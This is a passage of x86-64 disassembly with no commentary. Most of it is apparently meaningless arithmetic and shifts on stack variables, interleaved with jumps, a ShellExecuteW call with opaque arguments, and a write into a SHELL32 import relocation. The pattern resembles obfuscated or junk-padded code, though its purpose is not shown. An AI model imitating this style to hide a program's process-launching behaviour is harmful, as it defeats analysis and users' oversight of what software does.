mov rcx, qword [rsp + 0xbb68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
movzx eax, byte [0x1402c748a]
mov byte [rsp + 0x5e], al
movsx eax, word [rsp + 0x1530]
movsx ecx, word [rsp + 0x154c]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [0x1402c90b0]
mov dword [rsp + 0x6974], ecx
movzx edx, word [rsp + 0x1538]
movzx ecx, dl
mov edx, dword [rsp + 0x6974]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140009fad
mov rax, qword [rsp + 0xbb68]
mov rcx, qword [rsp + 0xb9b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0xbb78]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140009f7f
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbf0], rax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6978], eax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc00]
mov dword [rcx], eax
jmp 0x14000a00c
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5b], al
mov dword [rsp + 0x28], 6
mov rax, qword [rsp + 0xba40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbc30]
mov r8, qword [rsp + 0xba48]
mov rdx, qword [rsp + 0xbc38]
mov rcx, qword [rsp + 0xbc40]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0xb9c8], rax
mov rax, qword [rsp + 0xbc10]
movzx eax, word [rax]
mov word [rsp + 0x1554], ax
mov rax, qword [rsp + 0xba10]
movzx eax, word [rax]
mov word [0x1402c90c0], ax
mov rax, qword [rsp + 0xbc00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68f4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov rdx, qword [rsp + 0xbab0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jbe 0x14000a0ba
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1544]
shl eax, cl
mov rcx, qword [rsp + 0xbaf0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1534]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0xbab0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0xbb40]
mov r8, qword [rax]
movzx edx, byte [rsp + 0x5d]
movzx ecx, word [rsp + 0x1530]
call fcn.140249b70
jmp 0x14000a13e
mov rax, qword [rsp + 0xba70]
mov rcx, qword [rsp + 0xb9b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov rdx, qword [rsp + 0xbb68]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jbe 0x14000a13e
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
xor eax, ecx
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x68b0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xbb00]
mov rcx, qword [rsp + 0xbab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6918], eax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xbc48], rax
cmp qword [rsp + 0xbc48], 0
je 0x14000a196
movabs rax, 0x71eb975bae22b1
cmp qword [rsp + 0xbc48], rax
je 0x1402491ef
jmp 0x14024929a
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x154c]
add eax, ecx
mov word [rsp + 0x1530], ax
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x697c], al
cmp byte [rsp + 0x697c], 0
je 0x14000a1d9
cmp byte [rsp + 0x697c], 0xef
je 0x1402491b5
jmp 0x1402491e5
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov rdx, qword [rsp + 0xbb40]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jne 0x14024917a
mov rax, qword [rsp + 0xbbf0]
mov qword [rsp + 0xbc50], rax
mov eax, dword [rsp + 0x68fc]
mov ecx, dword [rsp + 0x695c]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6918]
mov edx, dword [0x1402c90a0]
or edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x14000a2a2
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbb40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov dword [rsp + 0x6980], eax
movsx eax, byte [0x1402c748a]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x5c]
mov qword [rsp + 0xbc58], rax
mov rax, qword [rsp + 0xbbf8]
mov eax, dword [rax]
mov dword [rsp + 0x6984], eax
cmp dword [rsp + 0x6984], 0xa03
je 0x14000a2c2
jmp 0x14000a33c
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1550], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5c]
add eax, ecx
mov byte [rsp + 0x56], al
lea rdx, [rsp + 0x6898]
lea rcx, [rsp + 0xbb20]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0xbc60], rax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
call fcn.140249c00
jmp 0x14000a3e3
mov eax, dword [rsp + 0x6978]
mov ecx, dword [rsp + 0x68e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68ec], eax
mov rax, qword [rsp + 0xbb70]
mov rcx, qword [rsp + 0xbb08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc50], rax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x6988], eax
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
lea rax, [rsp + 0x154c]
mov qword [0x1402c90c8], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov word [rsp + 0x1558], ax
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
add eax, ecx
mov word [rsp + 0x154c], ax
movzx eax, byte [rsp + 0x56]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xbc68], rax
mov rax, qword [rsp + 0xbb00]
mov ecx, dword [rsp + 0x695c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x68a0], eax
movzx eax, byte [rsp + 0x5b]
mov byte [rsp + 0x698c], al
cmp byte [rsp + 0x698c], 2
je 0x14000a43e
jmp 0x140248ffe
lea rax, [rsp + 0x52]
mov qword [rsp + 0xbc70], rax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xbbf0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbb40]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68d8]
mov dword [rsp + 0x6990], eax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x695c], eax
lea rax, [0x1402c748b]
mov qword [rsp + 0xbc78], rax
movsx eax, word [rsp + 0x154c]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov word [0x1402c749c], ax
movsx eax, byte [rsp + 0x5e]
movsx ecx, byte [0x1402c748a]
sub eax, ecx
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0x153c]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1554], ax
lea rax, [rsp + 0x1548]
mov qword [rsp + 0xbc80], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68d8]
mov dword [rsp + 0x6994], eax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xbb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
lea rax, [rsp + 0x6980]
mov qword [rsp + 0xbc88], rax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc70]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x52], al
movzx eax, word [rsp + 0x153c]
mov rcx, qword [rsp + 0xbbc0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402c74a0], ax
movsx eax, byte [rsp + 0x57]
mov rcx, qword [0x1402c90b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbc70]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbc8]
movzx eax, word [rax]
mov word [rsp + 0x155c], ax
movzx eax, word [rsp + 0x1550]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
lea rax, [rsp + 0xba70]
mov qword [rsp + 0xbc90], rax
mov eax, dword [rsp + 0x68a0]
mov ecx, dword [0x1402c90a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x695c], eax
lea rax, [rsp + 0x68ec]
mov qword [rsp + 0xbc98], rax
mov rax, qword [rsp + 0xbc50]
mov rcx, qword [rsp + 0xbb08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb70], rax
lea rax, [rsp + 0x1544]
mov qword [rsp + 0xbca0], rax
lea rax, [rsp + 0x52]
mov qword [0x1402c90d0], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [rsp + 0x51], al
movzx eax, word [rsp + 0x1550]
mov word [rsp + 0x1560], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x56]
and eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbf8]
mov ecx, dword [rsp + 0x6900]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6978], eax
lea rax, [rsp + 0xba70]
mov qword [rsp + 0xbca8], rax
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov qword [rsp + 0xbcb0], rax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
movzx eax, word [rsp + 0x154c]
mov word [0x1402c90d8], ax
lea rax, [rsp + 0x1554]
mov qword [rsp + 0xbcb8], rax
movzx eax, byte [rsp + 0x5c]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0x152c]
mov word [rsp + 0x1564], ax
mov rax, qword [rsp + 0xbad0]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xbbf0]
mov qword [rsp + 0xbcc0], rax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xbc90]
mov qword [rsp + 0xbcc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbcc8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbc98]
mov qword [rsp + 0xbcd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbcd0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
lea rax, [rsp + 0x1548]
mov qword [0x1402c90e0], rax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x5f], al
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
lea rax, [rsp + 0x1554]
mov qword [rsp + 0xbcd8], rax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1544]
and eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0xbbf8]
mov ecx, dword [rsp + 0x68ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68b0], eax
mov rax, qword [rsp + 0xbc90]
mov rax, qword [rax]
mov qword [rsp + 0xbce0], rax
mov rax, qword [rsp + 0xbc88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xbb38]
mov rax, qword [rax]
mov qword [rsp + 0xbce8], rax
lea rax, [0x1402c748a]
mov qword [0x1402c90e8], rax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xbbc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1564], ax
lea rax, [0x1402c748b]
mov qword [rsp + 0xbcf0], rax
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1544], ax
lea rax, [rsp + 0xbb70]
mov qword [rsp + 0xbcf8], rax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6994]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d8], eax
mov rax, qword [rsp + 0xbb68]
mov qword [rsp + 0xbd00], rax
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6918]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6988], eax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov byte [reloc.SHELL32.dll_ILGetNext], al
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
lea rax, [rsp + 0x5f]
mov qword [rsp + 0xbd08], rax
movzx eax, word [0x1402c74a0]
movzx ecx, word [rsp + 0x1560]
or eax, ecx
mov word [rsp + 0x1554], ax
lea rax, [rsp + 0x1544]
mov qword [rsp + 0xbd10], rax
mov rax, qword [rsp + 0xbb68]
mov rcx, qword [rsp + 0xbd00]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce0], rax
mov eax, dword [rsp + 0x68b0]
mov rcx, qword [rsp + 0xbb90]
mov qword [rsp + 0xbd18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd18]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbcf8]
mov rax, qword [rax]
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x68a0]
shl eax, cl
mov rcx, qword [rsp + 0xbaf8]
mov dword [rcx], eax
lea rax, [rsp + 0x1548]
mov qword [0x1402c90f0], rax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0xbd28], rax
movzx eax, word [rsp + 0x153c]
movzx ecx, word [rsp + 0x1558]
and eax, ecx
mov word [rsp + 0x1538], ax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov rcx, qword [rsp + 0xbcf0]
mov byte [rcx], al
lea rax, [rsp + 0x5c]
mov qword [rsp + 0xbd30], rax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbb40]
mov qword [rcx], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xbd38], rax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6988]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xbcb0]
mov qword [rsp + 0xbd40], rax
movsx eax, byte [rsp + 0x58]
mov rcx, qword [0x1402c90b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c90e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1564]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1544], ax
movzx eax, word [rsp + 0x155c]
mov word [rsp + 0x1568], ax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1564], ax
lea rax, [rsp + 0xbb70]
mov qword [rsp + 0xbd48], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6990]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68ec], eax
lea rax, [rsp + 0xbd00]
mov qword [rsp + 0xbd50], rax
movzx eax, byte [reloc.SHELL32.dll_ILGetNext]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [0x1402c748f], al
mov rax, qword [rsp + 0xbc80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbca0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
lea rax, [rsp + 0x57]
mov qword [rsp + 0xbd58], rax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x56]
or eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0x1540]
movzx ecx, word [rsp + 0x1560]
shl eax, cl
mov rcx, qword [rsp + 0xbcd8]
mov word [rcx], ax
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov qword [rsp + 0xbd60], rax
mov rax, qword [rsp + 0xbd38]
mov ecx, dword [rsp + 0x6994]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbd38]
mov dword [rcx], eax
lea rax, [rsp + 0x68f4]
mov qword [rsp + 0xbd68], rax
mov rax, qword [rsp + 0xbca8]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xba70], rax
movzx eax, byte [rsp + 0x59]
mov byte [0x1402c90a4], al
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x155c]
add eax, ecx
mov word [rsp + 0x1544], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], al
movzx eax, word [rsp + 0x1564]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1554], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0xbd70], rax
mov rax, qword [rsp + 0xbc00]
mov rcx, qword [rsp + 0xbb00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
lea rax, [rsp + 0x696c]
mov qword [rsp + 0xbd78], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbb38]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc90]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb68], rax
lea rax, [0x1402c74a0]
mov qword [rsp + 0xbd80], rax
mov rax, qword [rsp + 0xbd28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov byte [0x1402c749e], al
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
and eax, ecx
mov rcx, qword [rsp + 0xbcf0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbc8]
movzx eax, word [rax]
mov word [rsp + 0x156c], ax
movzx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbd68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbc88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9d8]
mov qword [rsp + 0xbd88], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb68], rax
mov eax, dword [rsp + 0x68e4]
mov dword [rsp + 0x6998], eax
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x156c]
shl eax, cl
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
lea rax, [rsp + 0x1554]
mov qword [0x1402c90f8], rax
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x156c], ax
lea rax, [0x1402c74a0]
mov qword [rsp + 0xbd90], rax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
mov eax, dword [rsp + 0x68fc]
mov dword [rsp + 0x699c], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbce0], rax
mov rax, qword [rsp + 0xbd40]
mov rcx, qword [rsp + 0xbd20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd60], rax
mov eax, dword [rsp + 0x6978]
mov dword [rsp + 0x69a0], eax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c749f], al
lea rax, [rsp + 0x154c]
mov qword [rsp + 0xbd98], rax
movzx eax, byte [0x1402c748f]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x5b]
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbbf0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbcb0], rax
mov eax, dword [rsp + 0x68d4]
mov ecx, dword [rsp + 0x6980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6994]
mov dword [rsp + 0x69a4], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xbd50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [0x1402c90f8]
movzx eax, word [rax]
mov word [rsp + 0x1570], ax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
and eax, ecx
mov word [0x1402c749c], ax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x53], al
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0xbd58]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
movzx eax, word [rsp + 0x153c]
mov word [rsp + 0x1574], ax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
or eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov dword [rsp + 0x69a8], eax
mov eax, dword [rsp + 0x68a0]
movzx ecx, al
mov eax, dword [rsp + 0x68fc]
shl eax, cl
mov dword [rsp + 0x699c], eax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb68], rax
lea rax, [rsp + 0xbd40]
mov qword [rsp + 0xbda0], rax
lea rax, [rsp + 0x60]
mov qword [0x1402c9100], rax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbca0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
lea rax, [0x1402c90b0]
mov qword [rsp + 0xbda8], rax
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5c]
and eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xba78]
movzx eax, byte [rax]
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0xbbf8]
mov ecx, dword [rsp + 0x696c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6900], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbda0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbd40], rax
mov eax, dword [rsp + 0x68d4]
mov dword [rsp + 0x69ac], eax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
lea rax, [rsp + 0x1534]
mov qword [0x1402c9108], rax
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x155c], ax
movsx eax, word [rsp + 0x155c]
movsx ecx, word [rsp + 0x1530]
add eax, ecx
mov word [rsp + 0x1544], ax
lea rax, [rsp + 0x152c]
mov qword [rsp + 0xbdb0], rax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
lea rax, [rsp + 0x68b0]
mov qword [rsp + 0xbdb8], rax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xbd00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xbda0]
mov rcx, qword [rsp + 0xbd88]
mov rax, qword [rax]
sub rax, rcx
